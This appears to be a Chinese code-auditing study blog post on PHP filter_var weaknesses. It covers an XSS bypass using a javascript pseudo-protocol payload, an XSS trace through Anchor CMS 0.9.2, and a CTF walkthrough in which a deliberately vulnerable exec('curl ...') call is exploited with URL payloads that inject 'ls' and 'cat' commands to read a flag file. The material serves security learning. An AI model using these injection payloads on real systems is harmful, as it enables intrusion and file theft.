前言
跟着张师傅学习代码审计,依葫芦画瓢,偷瞄大佬博客,跟着学习
这次是函数filter_var缺陷
上代码
参考链接:
RIPS[2] | filter_var函数缺陷
代码审计Day2 - filter_var函数缺陷
本题考察XSS漏洞。
然后这道题中,我们可以看到代码中使用到PHP的一个模块Twig.
调用了escape方法,,首先escape过滤器,是用PHP内置函数 htmlspecialchars 来实现的.
htmlspecialchars 函数定义如下:
htmlspecialchars :(PHP 4, PHP 5, PHP 7)
功能 :将特殊字符转换为 HTML 实体
定义 :string htmlspecialchars ( string $string [, int $flags = ENT_COMPAT | ENT_HTML401 [, string$encoding = ini_get(“default_charset”) [, bool $double_encode = TRUE ]]] )
1 | > & (& 符号) =============== & |
接着代码中又使用了filter_var()对其进行二次过滤
用了 FILTER_VALIDATE_URL 过滤器来判断是否是一个合法的url。
对于以上代码,可以理解为:1
2
3
4
5
6
7
8
9
10
11
12
$url = $_GET['url'];
$url = htmlspecialchars($url);
var_dump($url);
echo "<br>";
$url = filter_var($url,FILTER_VALIDATE_URL);
var_dump($url);
echo "<br>";
echo "<a href='$url'>Next slide >></a>";
这里的两个过滤器,我们可以通过javascript伪协议就绕过
构造payload:1
?url = javascrpit://comment://%250aalert(1);
注意:’//‘在JS中是注释的作用,所以我们引入’%0a’,进行换行操作,而这里我们需要先将’%’编码为’%25’,
因为当我们发送payload时,后台代码会先将’%25’解析为’%’,再到浏览器解析时,就为’%’
CMS小试
审计代码anchor.0.9.2
代码文件:themes/default/404.php1
2
3
4
5
6
7
8
9'header'); theme_include(
<section class="content wrap">
<h1>Page not found</h1>
<p>Unfortunately, the page <code>/echo current_url(); </code> could not be found. Your best bet is either to try the <a href="<?php echo base_url(); ?>">homepage</a>, try <a href="#search">searching</a>, or go and cry in a corner (although I don’t recommend the latter).</p>
</section>
'footer'); theme_include(
当我们访问一个不存在的页面时,就会调用404.php,
其中关键代码如下:1
echo current_url();
跟踪到
代码文件:anchor/functions/helpers.php1
2
3function current_url() {
return Uri::current();
}
返回 Uri::current()
跟踪到
代码文件:system/uri.php1
2
3
4
5public static function current() {
if(is_null(static::$current)) static::$current = static::detect();
return static::$current;
}
调用静态方法 delect()1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24public static function detect() {
// create a server object from global
$server = new Server($_SERVER);
$try = array('REQUEST_URI', 'PATH_INFO', 'ORIG_PATH_INFO');
foreach($try as $method) {
// make sure the server var exists and is not empty
if($server->has($method) and $uri = $server->get($method)) {
// apply a string filter and make sure we still have somthing left
if($uri = filter_var($uri, FILTER_SANITIZE_URL)) {
// make sure the uri is not malformed and return the pathname
if($uri = parse_url($uri, PHP_URL_PATH)) {
return static::format($uri, $server);
}
// woah jackie, we found a bad'n
throw new ErrorException('Malformed URI');
}
}
}
遍历 $try 中的键名,获取该键的键值1
if($server->has($method) and $uri = $server->get($method))
进行三次过滤:1
2
3
4
5
6
7$uri = filter_var(rawurldecode($uri), FILTER_SANITIZE_URL);
// remove script path/name
$uri = static::remove_script_name($uri, $server);
// remove the relative uri
$uri = static::remove_relative_uri($uri);
其过滤方法如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41public static function remove($value, $uri) {
// make sure our search value is a non-empty string
if(is_string($value) and strlen($value)) {
// if the search value is at the start sub it out
if(strpos($uri, $value) === 0) {
$uri = substr($uri, strlen($value));
}
}
return $uri;
}
/**
* Remove the SCRIPT_NAME from the uri path
*
* @param string
* @return string
*/
public static function remove_script_name($uri, $server) {
return static::remove($server->get('SCRIPT_NAME'), $uri);
}
/**
* Remove the relative path from the uri set in the application config
*
* @param string
* @return string
*/
public static function remove_relative_uri($uri) {
// remove base url
if($base = Config::app('url')) {
$uri = static::remove(rtrim($base, '/'), $uri);
}
// remove index
if($index = Config::app('index')) {
$uri = static::remove('/' . $index, $uri);
}
return $uri;
}
其中并没有对xss漏洞的攻击进行过滤
直接构造payload如下:
CTF小试
环境搭建:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29\\index.php
$url = $_GET['url'];
if(isset($url) && filter_var($url, FILTER_VALIDATE_URL)){
$site_info = parse_url($url);
if(preg_match('/sec-redclub.com$/',$site_info['host'])){
exec('curl "'.$site_info['host'].'"', $result);
echo "<center><h1>You have curl {$site_info['host']} successfully!</h1></center>
<center><textarea rows='20' cols='90'>";
echo implode(' ', $result);
}
else{
die("<center><h1>Error: Host not allowed</h1></center>");
}
}
else{
echo "<center><h1>Just curl sec-redclub.com!</h1></center><br>
<center><h3>For example:?url=http://sec-redclub.com</h3></center>";
}
\\flag3Ejasf.php
$flag = "you are right";
这道题中,index.php中有两个过滤器,一个是filter_var(),一个是parse_url,获取host正则检验,
这里考察命令执行漏洞,关键代码为:1
exec('curl "'.$site_info['host'].'"', $result);
这是外部代码执行函数,看着这样子,我们是要构造的payload是要能闭合无用的字段‘“’;还要能执行代码,这里使用”;“加入我们想要执行的代码,最后payload还要以”sec-redclub.com“结尾。
先绕过filter_var()函数,构造payload:1
url=demo://demo@sec-redclub.com
然后综上所述,构造payload:1
?url=demo://demo@";ls;"sec-redclub.com
获取当前文件目录flag3Ejasf.php index.php
然后获取flag,构造payload:1
?url=demo://demo@";cat<flag3Ejasf.php;"sec-redclub.com
由此解出该题